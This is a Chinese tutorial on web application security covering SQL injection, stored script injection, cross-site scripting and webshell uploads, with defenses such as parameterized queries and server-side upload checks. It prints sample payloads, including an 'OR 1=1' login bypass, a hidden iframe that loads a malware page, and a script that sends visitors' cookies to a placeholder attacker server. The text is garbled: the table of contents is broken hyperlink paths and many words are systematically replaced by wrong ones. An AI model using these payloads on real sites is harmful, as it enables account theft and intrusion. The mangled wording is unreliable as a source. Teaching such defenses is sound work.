BS程序代码与安全与基本攻击防御模式

BS程序代码与平安与基本攻击/防御模式BeaｒOcｅan200８－0６—０2ﻫＨYＰERＬIＮＫ"file：///C:\＼Documｅnｔｓ％20and％２0Ｓettｉngs＼＼ｂｅarｏcｅａｎ\＼桌面＼\代码与安全.ｈｔm”＼ｌ＂＿Toc２０01６９97５”１．

引言ＨＹPERLIＮＫ＂file：//／Ｃ：\＼Documｅnts％２0aｎd%20Sｅｔtingｓ\\ｂeaｒｏｃean\\桌面\\代码与安全。ｈｔm"＼l”_Toc２0016９９7６”１。1.

文档说明：HYPEＲＬＩNK"fｉle：//／Ｃ：\\Documents%20anｄ%20Settｉngｓ\\ｂｅarｏｃeaｎ\\桌面＼\代码与安全.ｈtｍ”\l＂_Ｔoｃ20０1６99７8"２．

正文ＨＹＰEＲＬIＮＫ＂ｆiｌe：/／/C:\\Docuｍenｔs%２０ａｎd%２0Settings\\beａｒoceａn\\桌面\＼代码与安全。ｈｔｍ"＼ｌ”＿Tｏｃ２0０１69979”2。１。

ＳQＬ注入HＹＰEＲLINＫ"file:／//C:＼\Ｄocumenｔｓ％20and%20Settings\\ｂearoceａｎ\\桌面\\代码与安全.htm＂\ｌ”＿Toc２00１６9９8０”2.1.1。

攻击模式：HYＰERLＩNK”ｆile：/／／Ｃ：\＼Docuｍenｔｓ％2０and％２0Ｓeｔtings\\bｅａrｏｃean\\桌面\＼代码与安全。ｈtm"\l＂＿Toｃ20016９98１＂2。1．２。

防御方法:HYPERLINＫ"file：/／/C：＼\Docｕments％２0aｎd％2０Settingｓ＼\ｂearｏceａn\\桌面\\代码与安全.ｈtm"\ｌ”_Ｔｏc２00１69９8２”２。２.

脚本注入ＨYPERLINＫ"fｉｌｅ:／／/C：\＼Ｄoｃｕmeｎts％20aｎd％2０Sｅｔtｉnｇs\＼beａrｏcｅan\\桌面\＼代码与安全.hｔｍ”＼ｌ"＿Tｏc２0０169９８３"2。２。1。

攻击模式HYＰEＲLINK”filｅ：///C：\＼Docuｍｅnts%20anｄ％20Ｓetｔｉnｇs\\bｅaroceａn\\桌面\\代码与安全.htm"\l”_Tｏc2001６99８4"２。２。２.

防御方式ＨYＰERLINK＂ｆiｌe：／/／C：\\Dｏcｕｍeｎts%20aｎd%２０Sｅttiｎgs＼\beａroceaｎ\\桌面\\代码与安全。ｈｔm"2．3．

跨站攻击ＨYＰＥRLINＫ"ｆiｌｅ：/／／Ｃ：＼\Doｃumeｎts％2０and％20Ｓettings\\bｅaroceaｎ\\桌面\\代码与安全.htm＂\l＂_Ｔoc２０01６9986”2.３．１。

攻击模式ＨYPＥRLINK"file：///Ｃ：＼＼Dｏcumｅnｔs％２０ａnｄ％２0Settiｎｇs\＼ｂeaｒoｃｅaｎ＼\桌面\＼代码与安全.hｔm"\l＂_Ｔoc2０0１6９98７"２．３．2．

防御方式HYPＥRＬＩNK”ｆile：／／/C:\＼Docuｍents％20anｄ%２0Ｓｅttinｇs\＼ｂearoｃｅan\＼桌面\＼代码与安全.ｈｔｍ＂＼l＂_Toｃ２0０16９9８８＂2。４．

shｅll上传HYＰＥRLINＫ＂ｆｉlｅ：///C：＼＼Dｏcuｍents%2０ａnd%20Ｓettings\\beａｒｏcｅan\\桌面\＼代码与安全．htｍ"\l＂_Toｃ２001６9989＂2．４.１。

攻击模式HＹＰＥＲLINK"ｆｉle://／C：\\Doｃumｅnts%２0ａnd％２0Ｓｅｔtings＼\ｂeaｒｏceａｎ＼\桌面\\代码与安全.hｔm"2。４。2.

防御方式HＹPERLＩNK＂filｅ:/／／C：\\Ｄｏcumeｎｔs%20and%2０Settｉnｇs\＼bｅａrｏceａn\\桌面\＼代码与安全．htm”\l”＿Ｔoc2０0１6９９91"2．5。

爆破ＨYPERLIＮK＂ｆｉle：///Ｃ：\\Docｕｍｅnts％20anｄ％2０Setｔｉngs＼\ｂeaｒocean\\桌面\\代码与安全.htm”\ｌ"_Toc2０0１699９2”２.5。1．

攻击模式ＨYPERLＩNK＂file：／//C：\\Ｄoｃumeｎtｓ％2０and％２0Seｔｔingｓ\＼bｅarｏｃｅaｎ＼＼桌面\\代码与安全．htm”２。5。2.

防御方式ＨＹPＥRLINK”filｅ：///Ｃ：\\Dｏcuｍeｎｔs％20and％2０Seｔtiｎgs\＼ｂeａｒｏｃeaｎ\＼桌面\\代码与安全．ｈtm"＼l”_Toc2０0１699９4＂3．

结语

ﻬ

1．

引言1.1。

文档说明：该文档主要阐述在ＢS程序中，平安性方面的注意事项。常见的主要攻击模式，以及为了防御这些不同的攻击手段,作为技术人员建议注意的编码事项。该文档包含的内容主要是个人对于Iｎterneｔ平安性问题的理解.以及对这些问题进行规避的方法整理,难免有误,也欢迎大家进行指正和补充.另注：该文档消灭的编码均为伪代码.1.2。

文档组织方式：该文档主要依据攻击模式进行分类整理，每个攻击模式的小专题分2部分内容:（1)攻击模式详述（2）防御方式与建议对于攻击模式详述部分，尽可能多的举出案例来进行说明,已便利理解。而防御方式，实际上通常只有在对攻击模式理解的前提下，才可能真正确保防御的有效。２.

正文２.１.

SQL注入２。1。1。

攻击模式：SQL注入的成因主要是由于向DB供应的ＳＱL是用字符串拼装的方式生成的.最常常患病SQＬ注入的页面通常是管理员/用户登陆点。不论是ａｓp或是ｊsp，如果不正确的编码，都会消灭这个漏洞。下面以一个实例来阐述SQＬ注入的成因。假设我们有一个JSP页面logｉn.jsｐ,用于搜集管理员输入的用户名和密码。用户点击按钮，将会把收集到的用户名与密码提交到指定的掌握组件（Ｓtruts：Ａcｔｉoｎ，或者Ｓeｒvlｅｔ）。在该组件中调用cｈekLogin(ＳtrｉnｇusｅｒNaｍe，ＳtｒingｐａｓsＷord)进行登陆验证，以从页面收集到的用户名和密码信息拼装出SQＬ字符串,供DＡO下层使用，以从数据库中的管理员记录表中读取数据，如果从表中找到匹配的记录,则表示验证成功，我们将返回相应得管理员实体类.否则返回Ｎull表示登陆验证失败。这是一个格外简洁的规律模块，如下图所示：ﻫﻫ这个规律产生注入漏洞的关键在于checkＡdminLogｉn方法.由于在该方法中，我们以这种方式进行编码：ﻫｐublicAdｍｉnchｅckAｄminＬogiｎ（SｔｒｉnｇｕｓerName,Strinｇpassｗoｒd）｛／／拼装SQＬ字符串ﻫStringstｒＳQL＝”ＳELＥＣＴ＊ＦＲＯMTD_AＤMINASAWHＥREA.UＳERＮAME=’”+usｅrNamｅ+”'ANDA。ＰASSWＯRD=’"＋passworｄ+”’”;//后续通过DＡO提交该SQL到数据库获得查询结果,省略这个生成SQL的方式,记得刚接触数据库编程的时候，有很多书籍的范例代码也是这样书写的，咋一看没有什么问题，但是由于没有对可能的输入作一个全面的考虑,所以便产生了注入漏洞。如果有人试图在这里进行恶意攻击，那么他可以在登陆名输入框中输入123（其实其他的任意值也可）而在密码输入框中输入‘OＲ‘１’＝’１那么由于我们的SＱL是靠拼出来的，所以最终提交给数据库的将是:ﻫSEＬEＣＴ＊ＦＲOMTD_ＡDMINASＡWＨEＲEA.UＳＥRNＡＭE=’123’AＮDA．PASSWＯRＤ=’’OR‘1’＝'１'很显然,这句SQＬ由于后面被加上了永真条件,登陆是肯定成功的。那么不论登陆者是否是管理员，输入‘OR‘1’=’１,他都将能够登陆系统。更有甚者,我可以在输入框中输入数据库的SQL注释符，然后填写我想让数据库执行的操作例如DROPSOＭETABＬE一类的。所以注入漏洞的危害实际是格外大的。ＳＱＬ注入漏洞的根本缘由是，由于我们编码时的不当心,导致用户可以通过输入来转变要执行的规律,甚至输入新的规律。但是,越是严重和显而易见的代码平安问题,实际要修补却也是越容易的。2.1.2。

防御方法：Ａ:加上验证（或者字符过滤）在网上搜寻关于对SＱＬ注入的防护问题，有很多答案供应的是对输入字符串进行验证/或者是过滤,甚至有人供应了字符串过滤代码。这种方案指出：

SQL注入的成因是攻击者在输入框中输入了有特殊意义的字符,如单引号，或者是数据库特定的注释符号，或者是执行分隔符的分号。那么我们在掌握层进行验证,禁止用户输入这些符号，或者将这些符号进行转义是否可以杜绝SQＬ注入？表面上看似乎是可以的，由于在掌握层中,用户如果试图输入‘OR‘１'=’１将得到类似"不允许输入单引号”的提示从而系统拒绝了本次执行.但是,这样的防御方案有格外大的缺陷:第一：输入验证应该与简略的规律挂钩,而不应该与平安防护中的防注入产生过密的依靠。用户名和密码的输入验证和新闻内容的输入验证是不同的。例如,对于新闻的按内容搜寻又应该允许输入单引号，由于新闻内容本身是允许包含单引号的.所以输入验证不能从根本上解决问题。一个疏忽带来的结果将是满盘皆输。其次:提出这种解决方案实际上是没有真正的理解SＱL注入，ＳQＬ注入的问题并不是出在不合法字符的问题上。这只是表象，ＳQL注入的真正缘由是系统没有方法严格地掌握程序规律与输入参数之间的分离,系统存在漏洞让系统是用者有地方可以把自己的输入(本应该是参数）变成了程序规律的一部分。B：掌握与参数分离试想我们给用户供应一个接口，这个接口带一个参数，用户填写这个的这个参数将决定下面的代码执行序列。那么用户可以通过这个接口来命令系统做任何事情。其实SＱＬ注入就是这个缘由。产生这个问题的最根本的缘由是，系统应该有能力明确的划分什么是规律,什么是参数.所以解决ＳQL注入的最根本方法是使用Ｔempｌatｅ模式。如下图所示：ﻫ那么用户的输入会作为BusinessOｂｊｅｃt的参数存在。但是不管用户输入什么。都无法脱离程序员设置的Teｍplｅｔe(规律模板）。最后Teｍpｌetｅ＋Parameteｒｓ将决定程序简略的执行.Jaｖａ中对该模式的实现有ＰrepａreｄSｔatmeｎｔ或者NamｉngＱｕeｒy一类的技术。简略内容可以参见相关文档。由于他们实现了参数与规律的分离，所以将从根本上杜绝ＳQＬ注入.使用PreparｅdSｔaｔemeｎt还有其他好处，除了平安方面的考虑,由于数据库的编译特性，在性能上也有所提高。2。2.

脚本注入２。2.1。

攻击模式这里所说的脚本,通常所指的是JａvaScｒｉpｔ脚本，虽然JavａＳｃrｉｐt运行于客户端,并且有平安沙箱的保护,但是放任恶意JａvａＳcriｐt脚本是十分危险的.脚本注入也是一种技术含量低的攻击方式。需要攻击者生疏ＪavａSｃｒｉｐｔ脚本和Dom模型，如果会运用Aｊａx技术，更是如虎添翼。如果你了解这两项技术,便可以在网上搜寻你的目标。一个网站，如果对输入未做合理的验证或过滤,在显示输出的时候又未做合适的格式化，那么便存在这种漏洞。下面举一个实例:我们有一个新闻站点。每个新闻允许扫瞄者进行评论,扫瞄者提交的评论将被存储在数据据库专门的表中，并且将被显示在新闻的下边。这个规律很正常，没有什么问题。但是很惋惜的是开发者除了字符长度没有在后端做任何输入合法验证。那么这个站点的评论输入，必定给坏蛋们有机可乘。假设我们在评论中输入如下内容：<ｓcriｐtlanguａge＝”jａｖａsｃript”〉aｌerｔ(“哈哈，傻了吧，这个地方存在脚本注入漏洞。”）；</ｓcｒipｔ>那么,这句话将被存储在数据库评论表中。以后,每一个扫瞄者打开这个新闻页面是,都将会弹出这样一个消息框。攻击者很慈爱，没有做过多的破坏。但是如果输入：<scｒipｔlaｎgｕage=”javascrｉpｔ”＞winｄow．ｌocａｔｉoｎ．hrｅf＝"www。bａidｕ.cｏm”；＜/sｃｒｉpt>那么打开这个新闻页面，该页面将被从定向到bａidu的页面上。如果目标页面不是bａidu．而是一个有恶意代码的页面。那么每个扫瞄者的机器都可能中毒。注入上述脚本的攻击者不够聪慧或者只是想好心的提示。由于他们注入的东西太容易被人发觉.我们有别的方式把活干的隐蔽，毕竟开发者和维护人员都不行能对评论一条一条得进行检查。我们注入:好文!顶<ｉｆraｍｅsrc=”带病毒的页面"width＝"0"ｈｅight=”0”〉＜／iｆｒamｅ〉那么在新闻页面上,将看不到任何异状.但是扫瞄器其实可能正在静静得下载病毒。WＥB2.0的流行使页面效果更加绚丽，同时也使脚本注入的攻击力提高不少。曾经了解这样一种攻击模式：ﻫﻫ攻击者在幕后筹备了服务器去接受Ajａx提交的恳求。攻击者通常有自己的服务器（通常是肉鸡）,在上面部署了合适的代码。在目标站点，存在注入点的页面注入如下代码：我也来顶！＜sｃrｉptｌａｎguagｅ＝”javascｒipt”>ﻫvaｒｓtrＴaｒｇetMｅssaｇe=window。cocｋie；ＡjaｘSend（“黑客掌握的服务器监听点”，ｓtｒTargeｔMｅssaｇe）；ﻫ〈／javascript>很简洁的代码，而且极难被发觉。但是这样，每个登录者在访问这个页面的时候，其cockiｅ信息都将被发送给攻击者。掌握了cｏckie中存放的ＪＳESSIONID,那么攻击者便可以冒充该登录者来做想做的事情，比如说转帐(但一般银行有SSL授权的密钥）。不管怎么样,很危险了。2．２．2。

防御方式供应合理的过滤或者转换程序，在输入存放于数据库前，或者是显示在页面前对数据进行处理.尽一切可能，避开用户的输入有执行的可能.简略代码，因不同的后端语言不同,但是项目供应有效，统一的过滤处理方式是合理的.该攻击方法成立的缘由是,扫瞄器在对页面进行解析时，不行能区分哪一段是客户输入，哪一段是预编制的模板或Htｍｌ或脚本。有人曾经提出，确保评论内容消灭在〈pre>＜/pre>中可以避开这个问题。如:ﻫ＜pre〉＜%=评论内容％＞〈/ｐｒe〉那么评论内容将得到原样显示,并不会执行其中的脚本。但是这样的解决方案是不正确的。由于我只需要对注入稍加改动:＜/pｒe>ﻫ<scrｉｐtlaｎｇuage=”javａscriｐｔ">

ｖａrｓｔrＴaｒgetＭessage=window．coｃｋiｅ；AjaｘSeｎd(“黑客掌握的服务器监听点"，strTarｇetMｅsｓagｅ);ﻫ〈/ｊａvａscript＞〈ｐｒe>那么实际上注入脚本将〈prｅ>块闭合了，脚本仍然会得到执行。2.３.

跨站攻击2.３．1.

攻击模式跨站攻击和脚本注入格外相像。有很多资料并没有区分这两种攻击。实际上，我认为跨站和脚本注入最大的区分在于用户提交的非法脚本是否需要持久化到服务器。通常,用于脚本注的恶意脚本提交后，将存储在服务器数据库中.这导致每个访问问题页面的扫瞄者都将遭到恶意脚本的攻击.而跨站攻击多数情况是将恶意脚本构造于url参数中。通过哄骗的方式去诱使受害者点击链接。而使得恶意脚本执行。虽然,不像脚本注入,跨站攻击必必要诱使受害者点击链接才能得以执行。但是一旦成立，其危害将和脚本注入的危害一样大。并且，跨站攻击的最大问题在于漏洞难于查找,格外容易被忽视。由于人们通常记得在用户输入评论的地方加上过滤来避开注入,但是防护跨站漏洞，却要保证在每个处理url参数的页面中都要对传入的参数进行合法性验证。由于程序员的疏忽或者懒散，往往无法做到“每个”，所以即使是知名的大型网站也频频消灭跨站漏洞。下面给出一个实例来说明跨站漏洞。一年前，我的伴侣曾经给了我一个工行网络银行的地址（HYPＥＲLIＮＫ”http://ｗwｗ．ｉcbｃ.coｍ．cn／nｅｗs/hｏtｓpot。jｓp？cｏlumn=％CＤ％A8%ＢＣ％A9%３A＋%D0％DC%BＡ％A3％CD％AC%D１％A7％Ｄ3％DA２０07。5．１％C8％Ｄ5%D５％Ａ９％C6％ＡD％Ｂ９%A4％Ｃ9％ＣＣ%D2%F8%D0％D０500%CD%F2％CF%Ｄ6％BＤ％F0％Ａ3%AC％CF％D6%D4%DＡ%C7%B1％CC%D3%D6％D0％A3％ＡC％D3％D0％D７%Ａ５％BB%F１%Ｄ5％DF%ＢD%Ｂ1％C0%Ｆ8％C8％CB％C3％F１%B1%D２５0%CＤ％F2％D5%FB”htｔp://ｗww．icｂc．ｃoｍ.cn/nｅwｓ/hoｔspｏt.jsp？ｃoｌumｎ=％CＤ％A8%BＣ%A９%３A+％D0%DC％BＡ％A３%CD％ＡＣ%D1%A7％D３%DＡ２00７。5.1%C8％D5％D５％A９％C6％AD％B9％Ａ4％C9％CC%Ｄ2%Ｆ8%Ｄ0％D05００%CD%Ｆ2％ＣF%D6%BD％Ｆ０％A3%AＣ%CF%Ｄ6%D４％DＡ％C７％B1%CC％Ｄ3%D6%Ｄ0%A3%ＡC％D3％D0％D7％A5％ＢＢ%F1％D5%DF%BＤ％B１%C0%F８%Ｃ8%CB%C3％F１％Ｂ1％D２50%CＤ％F2％Ｄ5％ＦB（上面这些类似乱码的编码实际上是“通缉:BｅａrOｃeaｎ同学于20０７．５。1日诈骗工商银行500万现金，现在潜逃中，有抓获者嘉奖人民币50万整”字符串的ｕｒｌEｎcoding成果物，后来工行把这个漏洞堵上了。）当我点开页面进行扫瞄的时候,发现上面显示的是一则公告：

“通缉：BｅａｒＯｃeａn同学于20０７.５。1日诈骗工商银行５００万现金，现在潜逃中，有抓获者嘉奖人民币50万整"很显然这是一个玩笑(我的同学没有攻击意图,只是利用这个开了个玩笑）,但是让我惊讶的是即使是工行也能消灭这样的问题.我们现在来分析消灭这个问题的缘由，以及它可能带来的危害。工行的ｈｏtspｏt.jsp可以理解成一个专用于显示一些简短信息的页面。他接受uｒｌ中的一个参数column并把它显示出来。这样的页面很常见也很有用，例如我们在注册成功,评论新闻成功的时候，都盼望有一个风格统一的页面来显示操作结果。如果为每一个有这种需求的地方单独开发不同的页面,一来工作量大,二来重用性差,所以我们用一个页面来完成这种事情.这个页面显示的是什么取决于输入的参数。请看下图:ﻫﻫhotspｏt是傻子，无法智能到判定输入的cｏlｕｍn来自于友方模块还是来自于我的同学。总之，来者不拒。直接将ｃｏｌumn不加区分的显示在hoｔsｐot上。令人奇怪   的是，该漏洞只是让大家开开玩笑,输出一些好玩的东西,那么其实这个漏洞会不会也无伤大雅，没有什么危害性。我强调过，我的同学不是恶意的攻击者，敏感的人能够推测：如果输入的不是用于开玩笑的字符串，而是恶意的脚本，那将如何?跨站攻击的危害和脚本注入是一样的。恶意脚本得以执行，一样可用于盗取cooｃｋie.或以高级别权限用户执行危害更严重的木立刻传操作,或者帮助扫瞄者在自己的机器上种上病毒。与SQＬ注入不同,脚本注入和跨站都没有直接攻击服务端，实际上是攻击了客户端.但是,上述2种漏洞通常会成为有阅历的黑客攻击服务器的最喜爱跳板。2.3．2．

防御方式问题的缘由已经分析清楚,存在跨站漏洞的页面或模块通常未对传入的url参数进行处理，或者确定传入来源是牢靠的。最主要的防御方式与脚本注入的防御方式相同。在类似于的ｈｏｔspｏt页面中,程序员对输入的ｃoluｍ进行过滤，并免任何脚本执行的机会就可以保护站点免受跨站漏洞的攻击.2。4.

sｈeｌl上传２.４．１．

攻击模式sｈｅｌｌ上传是攻击BS程序最可怕的一招。中招的站点，完全被破坏是一点也不意外的.由于shell,通常都有能力帮助攻击者拿到系统管理员的权限。绕开站点的权限限制，直接攻击操作系统和DBＡ,作为攻防战的防守方，搞成这种局面,只能用完全失败来形容了。要理解通过ｓhell上传来攻击服务器的方式，需要理解ｓｈｅll是什么。Ｓｈell通常是一种用特定语言编写的程序，攻击服务器的时候,由于通常要实现远程编译比较简洁，所以这种木马类型的文件一般都用解释型语言编写（或者有解释语言特点).简略语言的选择，依靠于目标站点的开发语言.攻击ＡSP站点的shｅll用ASP编写,攻击PHＰ站点的sｈeｌl用PHＰ编写,攻击J2EE的站点Sｈｅｌl可用Jsｐ来编写。Shell通常都是基于命令的，它通常能接受攻击者的参数.然后以功能划分模块进行运行.常见的命令如:列表文件，删除文件,创建文件,修改文件,新建系统帐号,访问操作系统功能。通过使用这些功能。攻击者将能够掌握sｈell宿主服务器,所以站点乃至整个系统被sｈｅlｌ黑破是很好理解的.设想一个攻击者通过shｅlｌ新建一个操作系统管理员，其实就可以抛弃sｈell了。(需要说明的是，wｅbｓheｌl通常功能较弱，但是weｂｓhelｌ可以支持更强木马的上传和执行。）通过远程掌握客户端,便可对服务器为所欲为.请看下图：ﻫﻫ攻击者通过shell木马，去取得其他关键权限,转而对整个系统实施攻击。很奇怪，明明我的服务器内只部署了我自己开发的页面文件和程序模块。攻击者是怎样把木马传上来的呢.一般来说有如下方式:（１）

FTP：服务器开启了FTＰ服务，并且使用允许匿名或者弱帐号机制，FＴP直接指向Web虚拟路径，很多人通过这种方式来管理/维护站点。固然便利，但是攻击者通过端口扫描可以很容易的找到服务器的ＦTP服务，攻击FTP进而上传ｓｈell木马。但是这种攻击方式以及其他利用服务／操作系统/weｂ容器漏洞的服务均与开发的直接关系不大，主要责任系维护方面，所以在这里不简略叙述.（２）

上传组件：很多站点，由于功能要求,供应文件上传功能.这个功能，攻击者通常都会格外注意。如果上传组建的编写有问题。那么攻击者就能很便利的上传shell.由于和开发关系较大,所以主要叙述的是这种上传方式。方式（2）中所涉及的上传组建通常是一些上传功能需求引入的.例如用户可以自定义自已的图片或者是上传商品图片，或者是允许上传一些其他文件供扫瞄者下载。这些上传功能也频繁消灭在后台管理中。2.4．２。

防御方式关于sheｌl的防御通常有如下一些事项需要注意：（１）

Ｗeｂ容器正确的平安设置：如果系统有上传的功能,那么上传的文件一般都存放在固定的一个或者几个文件夹中.最需要确保的是,不管上传了什么,我们都需要保证服务器认为这些文件是数据，而不会误以为是程序模块而使木马得到执行的机会。通常wｅb服务器都有相关的平安设置。禁用这几个文件夹中的文件解释/执行权限是必要的，这样即使木立刻传成功也无法解析.在系统上线前需要对wｅｂ配置进行正确的配置这是一点。总的来说,不管是利用ＯS漏洞或者是ＦTP或者是配置.Ｌｉnux的平安性相对于Ｗinｄｏws较高.目前最多的shｅll马一般是基于AＳＰ的。(2)

自己编写上传组件需要严格的验证:很多时候我们会使用自己开发的上传功能和组件.编写的时候需要对上传的文件进行验证而不能够不加验证便进行保存。通常验证的项目包括文件大小和文件后缀(文件类型),如仅允许jｐeｇ，jpg，gｉf图片格式文件上传.这是作为开发方需要注意的事项,但是不结合第一点来防护仍然不平安。目前有很多jｐg，gifｓhelｌ木马,后缀名使用图片格式能够跳过验证,但是攻击者可以利用其他的漏洞使木马得以执行。另外,通常后台功能有修改允许上传文件类型的功能。如果攻击者通过其他手段(如注入或者社会工程学）成功得到了后台登陆权限,那么他仍然能够上传木马。所以(2）＋(1)才能使得防护真正的起到作用。另外一点需要注意的是,对文件的验证肯定要在服务器端进行。前端的ｊａｖａscript验证在平安性上将不起作用。（3)

利用已开发的第三方组件:有很多人开发出了好用的第三方控件，如一些富文本编辑控件直接允许文件／图片的上传(如FCKEｄiｔor）这些控件有很多在功能上做的很好，但往往由于开发者平安方面考虑的不多，会存在漏洞,在使用第三方组件的时候可以对组件是否存在漏洞进行调查。必要的时候可进行代码修改以进行平安加强。比较出名的是,曾